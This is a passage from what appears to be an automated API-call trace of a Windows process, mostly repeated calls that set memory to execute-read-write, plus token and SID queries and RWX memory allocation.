ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0362.266] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41d000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41d000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0362.276] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x415000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x415000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0362.287] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0362.311] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0362.321] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0362.331] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41d000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41d000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0362.341] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x415000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x415000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0362.352] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x418000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x418000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0362.369] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0362.380] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0362.390] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0362.401] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0362.419] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0362.429] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0362.440] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0362.474] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0362.493] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0362.513] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0362.540] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0362.553] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0362.573] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0362.587] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0362.601] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0362.628] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0362.638] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0362.648] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0362.664] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40d000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40d000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0362.675] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0362.685] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0362.696] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0362.712] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0362.745] NtOpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x8, TokenHandle=0x1eb8e0e8 | out: TokenHandle=0x1eb8e0e8*=0x3a8) returned 0x0 [0362.750] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40d000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40d000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0362.760] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0362.779] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0362.789] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0362.811] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0362.842] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0362.860] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0362.891] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0362.907] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0362.927] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0362.939] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0362.949] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0362.962] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x415000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x415000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0362.979] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0362.990] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0363.001] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0363.028] NtQueryInformationToken (in: TokenHandle=0x3a8, TokenInformationClass=0x1, TokenInformation=0x1eb8d8e0, TokenInformationLength=0x400, ReturnLength=0x1eb8e0e0 | out: TokenInformation=0x1eb8d8e0, ReturnLength=0x1eb8e0e0) returned 0x0 [0363.033] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0363.044] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40d000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40d000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0363.054] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0363.064] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0363.082] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0363.093] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0363.103] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0363.113] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0363.134] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0363.145] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0363.162] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0363.173] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x415000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x415000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0363.194] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x415000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x415000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0363.205] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0363.215] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0363.225] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0363.238] ConvertSidToStringSidW () returned 0x1 [0363.243] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40d000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40d000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0363.255] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0363.266] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0363.271] NtClose (Handle=0x3a8) returned 0x0 [0363.276] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0363.335] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x418000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x418000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0363.345] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0363.351] NtAllocateVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1eb8e358*=0x0, ZeroBits=0x0, RegionSize=0x1eb8e35c*=0x135a3, AllocationType=0x3000, Protect=0x40 | out: BaseAddress=0x1eb8e358*=0x1ee20000, RegionSize=0x1eb8e35c*=0x14000) returned 0x0 [0363.352] NtAllocateVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1eb8e344*=0x0, ZeroBits=0x0, RegionSize=0x1eb8e348*=0x135a3, AllocationType=0x3000, Protect=0x40 | out: BaseAddress=0x1eb8e344*=0x1ee40000, RegionSize=0x1eb8e348*=0x14000) returned 0x0 [0363.359] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41d000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41d000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0363.369] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x415000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x415000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0363.387] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0363.398] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41d000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41d000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0363.408] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0363.424] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0363.435] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0363.448] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41d000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41d000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0363.459] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x415000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x415000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0363.476] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x415000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x415000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0363.486] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41d000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41d000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0363.496] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0363.506] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0363.525] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0363.536] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0363.546] 